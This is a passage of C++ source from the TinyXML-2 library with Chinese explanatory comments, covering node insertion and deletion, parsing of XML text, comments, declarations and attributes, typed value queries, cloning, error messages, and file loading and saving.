//如果第一个节点是声明，而最后一个节点也是声明，那么到目前为止只添加了声明。
bool wellLocated = false;
//如果是文本内容则检查首尾是否为声明
if (ToDocument()) {
if (FirstChild()) {
wellLocated =
FirstChild() &&
FirstChild()->ToDeclaration() &&
LastChild() &&
LastChild()->ToDeclaration();
}
else {
wellLocated = true;
}
}
//如果不是，则报错并且删除节点
if ( !wellLocated ) {
_document->SetError( XML_ERROR_PARSING_DECLARATION, initialLineNum, "XMLDeclaration value=%s", decl->Value());
DeleteNode( node );
break;
}
}
//识别元素
XMLElement* ele = node->ToElement();
if ( ele ) {
//读取结束标记，将其返回给父母。
if ( ele->ClosingType() == XMLElement::CLOSING ) {
if ( parentEndTag ) {
ele->_value.TransferTo( parentEndTag );
}
//建立一个跟踪，然后立即删除
node->_memPool->SetTracked();
DeleteNode( node );
return p;
}
//处理返回到该处的结束标记
bool mismatch = false;
if ( endTag.Empty() ) {
if ( ele->ClosingType() == XMLElement::OPEN ) {
mismatch = true;
}
}
else {
if ( ele->ClosingType() != XMLElement::OPEN ) {
mismatch = true;
}
else if ( !XMLUtil::StringEqual( endTag.GetStr(), ele->Name() ) ) {
mismatch = true;
}
}
if ( mismatch ) {
_document->SetError( XML_ERROR_MISMATCHED_ELEMENT, initialLineNum, "XMLElement name=%s", ele->Name());
DeleteNode( node );
break;
}
}
InsertEndChild( node );
}
return 0;
}
const char* XMLNode::Value() const
{
// XMLDocuments 没有值,返回null。
if ( this->ToDocument() )
return 0;
return _value.GetStr();
}
void XMLNode::SetValue( const char* str, bool staticMem )
{
//以插入方式
if ( staticMem ) {
_value.SetInternedStr( str );
}
//直接赋值
else {
_value.SetStr( str );
}
}
const XMLElement* XMLNode::PreviousSiblingElement( const char* name ) const
{
for( const XMLNode* node = _prev; node; node = node->_prev ) {
const XMLElement* element = node->ToElementWithName( name );
if ( element ) {
return element;
}
}
return 0;
}
const XMLElement* XMLNode::FirstChildElement( const char* name ) const
{
//遍历节点，找到第一个元素
for( const XMLNode* node = _firstChild; node; node = node->_next ) {
const XMLElement* element = node->ToElementWithName( name );
if ( element ) {
return element;
}
}
return 0;
}
const XMLElement* XMLNode::LastChildElement( const char* name ) const
{
//遍历，从最后一个节点开始
for( const XMLNode* node = _lastChild; node; node = node->_prev ) {
const XMLElement* element = node->ToElementWithName( name );
if ( element ) {
return element;
}
}
return 0;
}
const XMLElement* XMLNode::NextSiblingElement( const char* name ) const
{
for( const XMLNode* node = _next; node; node = node->_next ) {
const XMLElement* element = node->ToElementWithName( name );
if ( element ) {
return element;
}
}
return 0;
}
XMLNode* XMLNode::InsertEndChild( XMLNode* addThis )
{
TIXMLASSERT( addThis );
if ( addThis->_document != _document ) {
TIXMLASSERT( false );
return 0;
}
//准备插入
InsertChildPreamble( addThis );
//添加
if ( _lastChild ) {
TIXMLASSERT( _firstChild );
TIXMLASSERT( _lastChild->_next == 0 );
_lastChild->_next = addThis;
addThis->_prev = _lastChild;
_lastChild = addThis;
addThis->_next = 0;
}
//（右）子节点就是（左）子节点
else {
TIXMLASSERT( _firstChild == 0 );
_firstChild = _lastChild = addThis;
addThis->_prev = 0;
addThis->_next = 0;
}
addThis->_parent = this;
return addThis;
}
XMLNode* XMLNode::InsertFirstChild( XMLNode* addThis )
{
TIXMLASSERT( addThis );
if ( addThis->_document != _document ) {
TIXMLASSERT( false );
return 0;
}
InsertChildPreamble( addThis );
if ( _firstChild ) {
TIXMLASSERT( _lastChild );
TIXMLASSERT( _firstChild->_prev == 0 );
_firstChild->_prev = addThis;
addThis->_next = _firstChild;
_firstChild = addThis;
addThis->_prev = 0;
}
else {
TIXMLASSERT( _lastChild == 0 );
_firstChild = _lastChild = addThis;
addThis->_prev = 0;
addThis->_next = 0;
}
addThis->_parent = this;
return addThis;
}
XMLNode* XMLNode::InsertAfterChild( XMLNode* afterThis, XMLNode* addThis )
{
TIXMLASSERT( addThis );
if ( addThis->_document != _document ) {
TIXMLASSERT( false );
return 0;
}
TIXMLASSERT( afterThis );
if ( afterThis->_parent != this ) {
TIXMLASSERT( false );
return 0;
}
if ( afterThis == addThis ) {
return addThis;
}
if ( afterThis->_next == 0 ) {
//最后一个节点或唯一节点。
return InsertEndChild( addThis );
}
//插入准备
InsertChildPreamble( addThis );
//插入
addThis->_prev = afterThis;
addThis->_next = afterThis->_next;
afterThis->_next->_prev = addThis;
afterThis->_next = addThis;
addThis->_parent = this;
return addThis;
}
void XMLNode::DeleteChild( XMLNode* node )
{
TIXMLASSERT( node );
TIXMLASSERT( node->_document == _document );
TIXMLASSERT( node->_parent == this );
Unlink( node );
TIXMLASSERT(node->_prev == 0);
TIXMLASSERT(node->_next == 0);
TIXMLASSERT(node->_parent == 0);
DeleteNode( node );
}
void XMLNode::DeleteChildren()
{
while( _firstChild ) {
TIXMLASSERT( _lastChild );
DeleteChild( _firstChild );
}
_firstChild = _lastChild = 0;
}
XMLNode* XMLNode::DeepClone(XMLDocument* target) const
{
XMLNode* clone = this->ShallowClone(target);
if (!clone) return 0;
//利用递归遍历
for (const XMLNode* child = this->FirstChild(); child; child = child->NextSibling()) {
XMLNode* childClone = child->DeepClone(target);
TIXMLASSERT(childClone);
clone->InsertEndChild(childClone);
}
return clone;
}
char* XMLText::ParseDeep( char* p, StrPair*, int* curLineNumPtr )
{
//如果为CData型，则以”]]>“作为结尾标志解析
if ( this->CData() ) {
p = _value.ParseText( p, "]]>", StrPair::NEEDS_NEWLINE_NORMALIZATION, curLineNumPtr );
//错误
if ( !p ) {
_document->SetError( XML_ERROR_PARSING_CDATA, _parseLineNum, 0 );
}
return p;
}
//如果不是，则按照正常规则解析
else {
int flags = _document->ProcessEntities() ? StrPair::TEXT_ELEMENT : StrPair::TEXT_ELEMENT_LEAVE_ENTITIES;
if ( _document->WhitespaceMode() == COLLAPSE_WHITESPACE ) {
flags |= StrPair::NEEDS_WHITESPACE_COLLAPSING;
}
//以“<”作为结束标志
p = _value.ParseText( p, "<", flags, curLineNumPtr );
//-1，去掉“<”
if ( p && *p ) {
return p-1;
}
//错误
if ( !p ) {
_document->SetError( XML_ERROR_PARSING_TEXT, _parseLineNum, 0 );
}
}
return 0;
}
bool XMLText::Accept( XMLVisitor* visitor ) const
{
TIXMLASSERT( visitor );
return visitor->Visit( *this );
}
XMLNode* XMLText::ShallowClone( XMLDocument* doc ) const
{
if ( !doc ) {
doc = _document;
}
//复制到text
XMLText* text = doc->NewText( Value() );
text->SetCData( this->CData() );
return text;
}
bool XMLText::ShallowEqual( const XMLNode* compare ) const
{
TIXMLASSERT( compare );
const XMLText* text = compare->ToText();
return ( text && XMLUtil::StringEqual( text->Value(), Value() ) );
}
char* XMLComment::ParseDeep( char* p, StrPair*, int* curLineNumPtr )
{
//以"-->"结尾标志解析
p = _value.ParseText( p, "-->", StrPair::COMMENT, curLineNumPtr );
if ( p == 0 ) {
_document->SetError( XML_ERROR_PARSING_COMMENT, _parseLineNum, 0 );
}
return p;
}
bool XMLComment::Accept( XMLVisitor* visitor ) const
{
TIXMLASSERT( visitor );
return visitor->Visit( *this );
}
XMLNode* XMLComment::ShallowClone( XMLDocument* doc ) const
{
if ( !doc ) {
doc = _document;
}
//复制到comment
XMLComment* comment = doc->NewComment( Value() );
return comment;
}
bool XMLComment::ShallowEqual( const XMLNode* compare ) const
{
TIXMLASSERT( compare );
const XMLComment* comment = compare->ToComment();
return ( comment && XMLUtil::StringEqual( comment->Value(), Value() ));
}
char* XMLDeclaration::ParseDeep( char* p, StrPair*, int* curLineNumPtr )
{
//以"?>"为结尾解析
p = _value.ParseText( p, "?>", StrPair::NEEDS_NEWLINE_NORMALIZATION, curLineNumPtr );
if ( p == 0 ) {
_document->SetError( XML_ERROR_PARSING_DECLARATION, _parseLineNum, 0 );
}
return p;
}
bool XMLDeclaration::Accept( XMLVisitor* visitor ) const
{
TIXMLASSERT( visitor );
return visitor->Visit( *this );
}
XMLNode* XMLDeclaration::ShallowClone( XMLDocument* doc ) const
{
if ( !doc ) {
doc = _document;
}
//复制到dec
XMLDeclaration* dec = doc->NewDeclaration( Value() );
return dec;
}
bool XMLDeclaration::ShallowEqual( const XMLNode* compare ) const
{
TIXMLASSERT( compare );
const XMLDeclaration* declaration = compare->ToDeclaration();
return ( declaration && XMLUtil::StringEqual( declaration->Value(), Value() ));
}
bool XMLUnknown::Accept( XMLVisitor* visitor ) const
{
TIXMLASSERT( visitor );
return visitor->Visit( *this );
}
char* XMLUnknown::ParseDeep( char* p, StrPair*, int* curLineNumPtr )
{
//以">"为结尾解析
p = _value.ParseText( p, ">", StrPair::NEEDS_NEWLINE_NORMALIZATION, curLineNumPtr );
if ( !p ) {
_document->SetError( XML_ERROR_PARSING_UNKNOWN, _parseLineNum, 0 );
}
return p;
}
XMLNode* XMLUnknown::ShallowClone( XMLDocument* doc ) const
{
if ( !doc ) {
doc = _document;
}
XMLUnknown* text = doc->NewUnknown( Value() );
return text;
}
bool XMLUnknown::ShallowEqual( const XMLNode* compare ) const
{
TIXMLASSERT( compare );
const XMLUnknown* unknown = compare->ToUnknown();
return ( unknown && XMLUtil::StringEqual( unknown->Value(), Value() ));
}
void XMLAttribute::SetName( const char* n )
{
_name.SetStr( n );
}
char* XMLAttribute::ParseDeep( char* p, bool processEntities, int* curLineNumPtr )
{
//调用字符串解析名称函数
p = _name.ParseName( p );
if ( !p || !*p ) {
return 0;
}
//忽略空白
p = XMLUtil::SkipWhiteSpace( p, curLineNumPtr );
if ( *p != '=' ) {
return 0;
}
//定位到文本开头
++p;
p = XMLUtil::SkipWhiteSpace( p, curLineNumPtr );
//判断是否为双引号或者单引号开头
if ( *p != '\"' && *p != '\'' ) {
return 0;
}
//结束标志'\0'
char endTag[2] = { *p, 0 };
//定位到属性开头
++p;
//解析
p = _value.ParseText( p, endTag, processEntities ? StrPair::ATTRIBUTE_VALUE : StrPair::ATTRIBUTE_VALUE_LEAVE_ENTITIES, curLineNumPtr );
return p;
}
const char* XMLAttribute::Name() const
{
return _name.GetStr();
}
const char* XMLAttribute::Value() const
{
return _value.GetStr();
}
XMLError XMLAttribute::QueryIntValue( int* value ) const
{
if ( XMLUtil::ToInt( Value(), value )) {
return XML_SUCCESS;
}
return XML_WRONG_ATTRIBUTE_TYPE;
}
XMLError XMLAttribute::QueryUnsignedValue( unsigned int* value ) const
{
if ( XMLUtil::ToUnsigned( Value(), value )) {
return XML_SUCCESS;
}
return XML_WRONG_ATTRIBUTE_TYPE;
}
XMLError XMLAttribute::QueryInt64Value(int64_t* value) const
{
if (XMLUtil::ToInt64(Value(), value)) {
return XML_SUCCESS;
}
return XML_WRONG_ATTRIBUTE_TYPE;
}
XMLError XMLAttribute::QueryBoolValue( bool* value ) const
{
if ( XMLUtil::ToBool( Value(), value )) {
return XML_SUCCESS;
}
return XML_WRONG_ATTRIBUTE_TYPE;
}
XMLError XMLAttribute::QueryFloatValue( float* value ) const
{
if ( XMLUtil::ToFloat( Value(), value )) {
return XML_SUCCESS;
}
return XML_WRONG_ATTRIBUTE_TYPE;
}
XMLError XMLAttribute::QueryDoubleValue( double* value ) const
{
if ( XMLUtil::ToDouble( Value(), value )) {
return XML_SUCCESS;
}
return XML_WRONG_ATTRIBUTE_TYPE;
}
void XMLAttribute::SetAttribute( const char* v )
{
_value.SetStr( v );
}
void XMLAttribute::SetAttribute( int v )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( v, buf, BUF_SIZE );
_value.SetStr( buf );
}
void XMLAttribute::SetAttribute( unsigned v )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( v, buf, BUF_SIZE );
_value.SetStr( buf );
}
void XMLAttribute::SetAttribute(int64_t v)
{
char buf[BUF_SIZE];
XMLUtil::ToStr(v, buf, BUF_SIZE);
_value.SetStr(buf);
}
void XMLAttribute::SetAttribute( bool v )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( v, buf, BUF_SIZE );
_value.SetStr( buf );
}
void XMLAttribute::SetAttribute( double v )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( v, buf, BUF_SIZE );
_value.SetStr( buf );
}
void XMLAttribute::SetAttribute( float v )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( v, buf, BUF_SIZE );
_value.SetStr( buf );
}
XMLElement::XMLElement( XMLDocument* doc ) : XMLNode( doc ),
_closingType( OPEN ),
_rootAttribute( 0 )
{
}
XMLElement::~XMLElement()
{
//释放节点
while( _rootAttribute ) {
XMLAttribute* next = _rootAttribute->_next;
DeleteAttribute( _rootAttribute );
_rootAttribute = next;
}
}
XMLAttribute* XMLElement::CreateAttribute()
{
//获取元素大小
TIXMLASSERT( sizeof( XMLAttribute ) == _document->_attributePool.ItemSize() );
//新建属性并申请内存
XMLAttribute* attrib = new (_document->_attributePool.Alloc() ) XMLAttribute();
TIXMLASSERT( attrib );
//初始化内存地址
attrib->_memPool = &_document->_attributePool;
attrib->_memPool->SetTracked();
return attrib;
}
XMLAttribute* XMLElement::FindOrCreateAttribute( const char* name )
{
//初始化属性表
XMLAttribute* last = 0;
XMLAttribute* attrib = 0;
//检查是否存在属性
for( attrib = _rootAttribute;
attrib;
last = attrib, attrib = attrib->_next ) {
if ( XMLUtil::StringEqual( attrib->Name(), name ) ) {
break;
}
}
//如果不存在下一个属性，则创建一个
if ( !attrib ) {
attrib = CreateAttribute();
TIXMLASSERT( attrib );
//如果当前属性存在，属性表链接新属性
if ( last ) {
TIXMLASSERT( last->_next == 0 );
last->_next = attrib;
}
//如果不存在，新属性为根属性
else {
TIXMLASSERT( _rootAttribute == 0 );
_rootAttribute = attrib;
}
attrib->SetName( name );
}
return attrib;
}
void XMLElement::DeleteAttribute( XMLAttribute* attribute )
{
if ( attribute == 0 ) {
return;
}
MemPool* pool = attribute->_memPool;
//调用析构函数
attribute->~XMLAttribute();
//释放内存
pool->Free( attribute );
}
char* XMLElement::ParseAttributes( char* p, int* curLineNumPtr )
{
XMLAttribute* prevAttribute = 0;
//解析
while( p ) {
//跳过空白
p = XMLUtil::SkipWhiteSpace( p, curLineNumPtr );
//如果字符为空，报错
if ( !(*p) ) {
_document->SetError( XML_ERROR_PARSING_ELEMENT, _parseLineNum, "XMLElement name=%s", Name() );
return 0;
}
//解析属性
if (XMLUtil::IsNameStartChar( *p ) ) {
XMLAttribute* attrib = CreateAttribute();
TIXMLASSERT( attrib );
//获取文档行号
attrib->_parseLineNum = _document->_parseCurLineNum;
int attrLineNum = attrib->_parseLineNum;
//深度解析本行内容
p = attrib->ParseDeep( p, _document->ProcessEntities(), curLineNumPtr );
//如果字符为空或者存在属性，首先删除该属性并报错
if ( !p || Attribute( attrib->Name() ) ) {
DeleteAttribute( attrib );
_document->SetError( XML_ERROR_PARSING_ATTRIBUTE, attrLineNum, "XMLElement name=%s", Name() );
return 0;
}
//如果存在上一个属性，则链接当前属性
if ( prevAttribute ) {
TIXMLASSERT( prevAttribute->_next == 0 );
prevAttribute->_next = attrib;
}
//否则，新属性为根属性
else {
TIXMLASSERT( _rootAttribute == 0 );
_rootAttribute = attrib;
}
prevAttribute = attrib;
}
//结束标志1
else if ( *p == '>' ) {
++p;
break;
}
//结束标志2
else if ( *p == '/' && *(p+1) == '>' ) {
_closingType = CLOSED;
return p+2;
}
//其他情况则解析错误
else {
_document->SetError( XML_ERROR_PARSING_ELEMENT, _parseLineNum, 0 );
return 0;
}
}
return p;
}
char* XMLElement::ParseDeep( char* p, StrPair* parentEndTag, int* curLineNumPtr )
{
//读取元素
p = XMLUtil::SkipWhiteSpace( p, curLineNumPtr );
//设置结尾标志
if ( *p == '/' ) {
_closingType = CLOSING;
++p;
}
//解析名称
p = _value.ParseName( p );
if ( _value.Empty() ) {
return 0;
}
//解析属性
p = ParseAttributes( p, curLineNumPtr );
if ( !p || !*p || _closingType != OPEN ) {
return p;
}
p = XMLNode::ParseDeep( p, parentEndTag, curLineNumPtr );
return p;
}
bool XMLElement::Accept( XMLVisitor* visitor ) const
{
TIXMLASSERT( visitor );
//进入访问者模式
if ( visitor->VisitEnter( *this, _rootAttribute ) ) {
for ( const XMLNode* node=FirstChild(); node; node=node->NextSibling() ) {
if ( !node->Accept( visitor ) ) {
break;
}
}
}
//退出访问者模式
return visitor->VisitExit( *this );
}
const char* XMLElement::Attribute( const char* name, const char* value ) const
{
//查找属性
const XMLAttribute* a = FindAttribute( name );
if ( !a ) {
return 0;
}
//返回值
if ( !value || XMLUtil::StringEqual( a->Value(), value )) {
return a->Value();
}
return 0;
}
int XMLElement::IntAttribute(const char* name, int defaultValue) const
{
int i = defaultValue;
QueryIntAttribute(name, &i);
return i;
}
unsigned XMLElement::UnsignedAttribute(const char* name, unsigned defaultValue) const
{
unsigned i = defaultValue;
QueryUnsignedAttribute(name, &i);
return i;
}
int64_t XMLElement::Int64Attribute(const char* name, int64_t defaultValue) const
{
int64_t i = defaultValue;
QueryInt64Attribute(name, &i);
return i;
}
bool XMLElement::BoolAttribute(const char* name, bool defaultValue) const
{
bool b = defaultValue;
QueryBoolAttribute(name, &b);
return b;
}
double XMLElement::DoubleAttribute(const char* name, double defaultValue) const
{
double d = defaultValue;
QueryDoubleAttribute(name, &d);
return d;
}
float XMLElement::FloatAttribute(const char* name, float defaultValue) const
{
float f = defaultValue;
QueryFloatAttribute(name, &f);
return f;
}
void XMLElement::DeleteAttribute( const char* name )
{
//prev接收属性表
XMLAttribute* prev = 0;
for( XMLAttribute* a=_rootAttribute; a; a=a->_next ) {
//找到属性并断开其链表指针
if ( XMLUtil::StringEqual( name, a->Name() ) ) {
if ( prev ) {
prev->_next = a->_next;
}
else {
_rootAttribute = a->_next;
}
//释放
DeleteAttribute( a );
break;
}
prev = a;
}
}
const XMLAttribute* XMLElement::FindAttribute( const char* name ) const
{
//遍历属性表
for( XMLAttribute* a = _rootAttribute; a; a = a->_next ) {
if ( XMLUtil::StringEqual( a->Name(), name ) ) {
return a;
}
}
return 0;
}
const char* XMLElement::GetText() const
{
if ( FirstChild() && FirstChild()->ToText() ) {
return FirstChild()->Value();
}
return 0;
}
void XMLElement::SetText( const char* inText )
{
//找到第一个子节点并重新设置值
if ( FirstChild() && FirstChild()->ToText() )
FirstChild()->SetValue( inText );
//直接插入
else {
XMLText* theText = GetDocument()->NewText( inText );
InsertFirstChild( theText );
}
}
void XMLElement::SetText( int v )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( v, buf, BUF_SIZE );
SetText( buf );
}
void XMLElement::SetText( unsigned v )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( v, buf, BUF_SIZE );
SetText( buf );
}
void XMLElement::SetText(int64_t v)
{
char buf[BUF_SIZE];
XMLUtil::ToStr(v, buf, BUF_SIZE);
SetText(buf);
}
void XMLElement::SetText( bool v )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( v, buf, BUF_SIZE );
SetText( buf );
}
void XMLElement::SetText( float v )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( v, buf, BUF_SIZE );
SetText( buf );
}
void XMLElement::SetText( double v )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( v, buf, BUF_SIZE );
SetText( buf );
}
XMLError XMLElement::QueryIntText( int* ival ) const
{
if ( FirstChild() && FirstChild()->ToText() ) {
const char* t = FirstChild()->Value();
if ( XMLUtil::ToInt( t, ival ) ) {
return XML_SUCCESS;
}
return XML_CAN_NOT_CONVERT_TEXT;
}
return XML_NO_TEXT_NODE;
}
XMLError XMLElement::QueryUnsignedText( unsigned* uval ) const
{
if ( FirstChild() && FirstChild()->ToText() ) {
const char* t = FirstChild()->Value();
if ( XMLUtil::ToUnsigned( t, uval ) ) {
return XML_SUCCESS;
}
return XML_CAN_NOT_CONVERT_TEXT;
}
return XML_NO_TEXT_NODE;
}
XMLError XMLElement::QueryInt64Text(int64_t* ival) const
{
if (FirstChild() && FirstChild()->ToText()) {
const char* t = FirstChild()->Value();
if (XMLUtil::ToInt64(t, ival)) {
return XML_SUCCESS;
}
return XML_CAN_NOT_CONVERT_TEXT;
}
return XML_NO_TEXT_NODE;
}
XMLError XMLElement::QueryBoolText( bool* bval ) const
{
if ( FirstChild() && FirstChild()->ToText() ) {
const char* t = FirstChild()->Value();
if ( XMLUtil::ToBool( t, bval ) ) {
return XML_SUCCESS;
}
return XML_CAN_NOT_CONVERT_TEXT;
}
return XML_NO_TEXT_NODE;
}
XMLError XMLElement::QueryDoubleText( double* dval ) const
{
if ( FirstChild() && FirstChild()->ToText() ) {
const char* t = FirstChild()->Value();
if ( XMLUtil::ToDouble( t, dval ) ) {
return XML_SUCCESS;
}
return XML_CAN_NOT_CONVERT_TEXT;
}
return XML_NO_TEXT_NODE;
}
XMLError XMLElement::QueryFloatText( float* fval ) const
{
if ( FirstChild() && FirstChild()->ToText() ) {
const char* t = FirstChild()->Value();
if ( XMLUtil::ToFloat( t, fval ) ) {
return XML_SUCCESS;
}
return XML_CAN_NOT_CONVERT_TEXT;
}
return XML_NO_TEXT_NODE;
}
int XMLElement::IntText(int defaultValue) const
{
int i = defaultValue;
QueryIntText(&i);
return i;
}
unsigned XMLElement::UnsignedText(unsigned defaultValue) const
{
unsigned i = defaultValue;
QueryUnsignedText(&i);
return i;
}
int64_t XMLElement::Int64Text(int64_t defaultValue) const
{
int64_t i = defaultValue;
QueryInt64Text(&i);
return i;
}
bool XMLElement::BoolText(bool defaultValue) const
{
bool b = defaultValue;
QueryBoolText(&b);
return b;
}
double XMLElement::DoubleText(double defaultValue) const
{
double d = defaultValue;
QueryDoubleText(&d);
return d;
}
float XMLElement::FloatText(float defaultValue) const
{
float f = defaultValue;
QueryFloatText(&f);
return f;
}
XMLNode* XMLElement::ShallowClone( XMLDocument* doc ) const
{
if ( !doc ) {
doc = _document;
}
//新建元素列表
XMLElement* element = doc->NewElement( Value() );
//获取名称和值
for( const XMLAttribute* a=FirstAttribute(); a; a=a->Next() ) {
element->SetAttribute( a->Name(), a->Value() );
}
return element;
}
bool XMLElement::ShallowEqual( const XMLNode* compare ) const
{
TIXMLASSERT( compare );
const XMLElement* other = compare->ToElement();
//如果compare不为空，比较名称
if ( other && XMLUtil::StringEqual( other->Name(), Name() )) {
const XMLAttribute* a=FirstAttribute();
const XMLAttribute* b=other->FirstAttribute();
//如果a和b都不为空
while ( a && b ) {
//比较属性值
if ( !XMLUtil::StringEqual( a->Value(), b->Value() ) ) {
return false;
}
a = a->Next();
b = b->Next();
}
if ( a || b ) {
return false;
}
return true;
}
return false;
}
//列表内容必须与'enum XMLError'匹配
const char* XMLDocument::_errorNames[XML_ERROR_COUNT] = {
"XML_SUCCESS",
"XML_NO_ATTRIBUTE",
"XML_WRONG_ATTRIBUTE_TYPE",
"XML_ERROR_FILE_NOT_FOUND",
"XML_ERROR_FILE_COULD_NOT_BE_OPENED",
"XML_ERROR_FILE_READ_ERROR",
"XML_ERROR_PARSING_ELEMENT",
"XML_ERROR_PARSING_ATTRIBUTE",
"XML_ERROR_PARSING_TEXT",
"XML_ERROR_PARSING_CDATA",
"XML_ERROR_PARSING_COMMENT",
"XML_ERROR_PARSING_DECLARATION",
"XML_ERROR_PARSING_UNKNOWN",
"XML_ERROR_EMPTY_DOCUMENT",
"XML_ERROR_MISMATCHED_ELEMENT",
"XML_ERROR_PARSING",
"XML_CAN_NOT_CONVERT_TEXT",
"XML_NO_TEXT_NODE",
"XML_ELEMENT_DEPTH_EXCEEDED"
};
void XMLDocument::Parse()
{
//判断释放存在节点
TIXMLASSERT( NoChildren() );
TIXMLASSERT( _charBuffer );
//从第一行开始
_parseCurLineNum = 1;
_parseLineNum = 1;
char* p = _charBuffer;
p = XMLUtil::SkipWhiteSpace( p, &_parseCurLineNum );
p = const_cast<char*>( XMLUtil::ReadBOM( p, &_writeBOM ) );
//判断解析内容是否为空
if ( !*p ) {
SetError( XML_ERROR_EMPTY_DOCUMENT, 0, 0 );
return;
}
//深度解析
ParseDeep(p, 0, &_parseCurLineNum );
}
void XMLDocument::SetError( XMLError error, int lineNum, const char* format, ... )
{
TIXMLASSERT( error >= 0 && error < XML_ERROR_COUNT );
//获取错误ID和行号
_errorID = error;
_errorLineNum = lineNum;
_errorStr.Reset();
//默认缓存空间
size_t BUFFER_SIZE = 1000;
char* buffer = new char[BUFFER_SIZE];
//打印错误
TIXMLASSERT(sizeof(error) <= sizeof(int));
TIXML_SNPRINTF(buffer, BUFFER_SIZE, "Error=%s ErrorID=%d (0x%x) Line number=%d", ErrorIDToName(error), int(error), int(error), lineNum);
//如果传入另外的参数，则将其转换为字符串黏贴在buffer后面
if (format) {
size_t len = strlen(buffer);
TIXML_SNPRINTF(buffer + len, BUFFER_SIZE - len, ": ");
len = strlen(buffer);
va_list va;
va_start(va, format);
TIXML_VSNPRINTF(buffer + len, BUFFER_SIZE - len, format, va);
va_end(va);
}
_errorStr.SetStr(buffer);
//释放
delete[] buffer;
}
void XMLDocument::PushDepth()
{
_parsingDepth++;
//如果等于最大深度，则警告
if (_parsingDepth == TINYXML2_MAX_ELEMENT_DEPTH) {
SetError(XML_ELEMENT_DEPTH_EXCEEDED, _parseCurLineNum, "Element nesting is too deep." );
}
}
void XMLDocument::PopDepth()
{
TIXMLASSERT(_parsingDepth > 0);
--_parsingDepth;
}
XMLDocument::XMLDocument( bool processEntities, Whitespace whitespaceMode ) :
XMLNode( 0 ),
_writeBOM( false ),
_processEntities( processEntities ),
_errorID(XML_SUCCESS),
_whitespaceMode( whitespaceMode ),
_errorStr(),
_errorLineNum( 0 ),
_charBuffer( 0 ),
_parseCurLineNum( 0 ),
_parsingDepth(0),
_unlinked(),
_elementPool(),
_attributePool(),
_textPool(),
_commentPool()
{
_document = this;
}
XMLDocument::~XMLDocument()
{
Clear();
}
XMLError XMLDocument::Parse( const char* p, size_t len )
{
Clear();
//判断字符串长度
if ( len == 0 || !p || !*p ) {
SetError( XML_ERROR_EMPTY_DOCUMENT, 0, 0 );
return _errorID;
}
if ( len == (size_t)(-1) ) {
len = strlen( p );
}
//初始化_charBuffer
TIXMLASSERT( _charBuffer == 0 );
_charBuffer = new char[ len+1 ];
//把字符串拷贝到_charBuffer
memcpy( _charBuffer, p, len );
_charBuffer[len] = 0;
//深度解析
Parse();
//如果报警，则清空内存池
if ( Error() ) {
DeleteChildren();
_elementPool.Clear();
_attributePool.Clear();
_textPool.Clear();
_commentPool.Clear();
}
return _errorID;
}
//辅助打开文件函数
static FILE* callfopen( const char* filepath, const char* mode )
{
TIXMLASSERT( filepath );
TIXMLASSERT( mode );
FILE* fp = fopen( filepath, mode );
return fp;
}
XMLError XMLDocument::LoadFile( const char* filename )
{
//检查文件名
if ( !filename ) {
TIXMLASSERT( false );
SetError( XML_ERROR_FILE_COULD_NOT_BE_OPENED, 0, "filename=<null>" );
return _errorID;
}
Clear();
//打开二进制文件
FILE* fp = callfopen( filename, "rb" );
if ( !fp ) {
SetError( XML_ERROR_FILE_NOT_FOUND, 0, "filename=%s", filename );
return _errorID;
}
//加载文件2
LoadFile( fp );
//关闭文件
fclose( fp );
return _errorID;
}
/*这两个模板是用来检测文件长度，如果size_t类型大于无符号长类型，则检查是多余的，gcc和clang会发出Wtype-limits警告。*/
template<bool = (sizeof(unsigned long) >= sizeof(size_t))>
struct LongFitsIntoSizeTMinusOne {
static bool Fits( unsigned long value )
{
return value < (size_t)-1;
}
};
template <>
struct LongFitsIntoSizeTMinusOne<false> {
static bool Fits( unsigned long )
{
return true;
}
};
XMLError XMLDocument::LoadFile( FILE* fp )
{
Clear();
//定位到文件开头
fseek( fp, 0, SEEK_SET );
//文件读取错误
if ( fgetc( fp ) == EOF && ferror( fp ) != 0 ) {
SetError( XML_ERROR_FILE_READ_ERROR, 0, 0 );
return _errorID;
}
//定位到文件结尾
fseek( fp, 0, SEEK_END );
//获取当前偏移字节数（在这里值文件总长度）
const long filelength = ftell( fp );
//重新定位到开头
fseek( fp, 0, SEEK_SET );
//文件长度过大警告
if ( filelength == -1L ) {
SetError( XML_ERROR_FILE_READ_ERROR, 0, 0 );
return _errorID;
}
TIXMLASSERT( filelength >= 0 );
//检查文件长度，无法处理与空终止符一起放入缓冲区中的文件
if ( !LongFitsIntoSizeTMinusOne<>::Fits( filelength ) ) {
SetError( XML_ERROR_FILE_READ_ERROR, 0, 0 );
return _errorID;
}
if ( filelength == 0 ) {
SetError( XML_ERROR_EMPTY_DOCUMENT, 0, 0 );
return _errorID;
}
const size_t size = filelength;
TIXMLASSERT( _charBuffer == 0 );
//初始化_charBuffer
_charBuffer = new char[size+1];
//将文件读到_charBuffer
size_t read = fread( _charBuffer, 1, size, fp );
if ( read != size ) {
SetError( XML_ERROR_FILE_READ_ERROR, 0, 0 );
return _errorID;
}
//添加终止符
_charBuffer[size] = 0;
Parse();
return _errorID;
}
XMLError XMLDocument::SaveFile( const char* filename, bool compact )
{
//检查文件名
if ( !filename ) {
TIXMLASSERT( false );
SetError( XML_ERROR_FILE_COULD_NOT_BE_OPENED, 0, "filename=<null>" );
return _errorID;
}
//以写模式打开文件
FILE* fp = callfopen( filename, "w" );
if ( !fp ) {
SetError( XML_ERROR_FILE_COULD_NOT_BE_OPENED, 0, "filename=%s", filename );
return _errorID;
}
//保存文件2
SaveFile(fp, compact);
fclose( fp );
return _errorID;
}
XMLError XMLDocument::SaveFile( FILE* fp, bool compact )
{
//清除上次保存中的所有错误
ClearError();
//写入文件
XMLPrinter stream( fp, compact );
Print( &stream );
return _errorID;
}
void XMLDocument::Print( XMLPrinter* streamer ) const
{
if ( streamer ) {
Accept( streamer );
}
else {
XMLPrinter stdoutStreamer( stdout );
Accept( &stdoutStreamer );
}
}
bool XMLDocument::Accept( XMLVisitor* visitor ) const
{
TIXMLASSERT( visitor );
if ( visitor->VisitEnter( *this ) ) {
for ( const XMLNode* node=FirstChild(); node; node=node->NextSibling() ) {
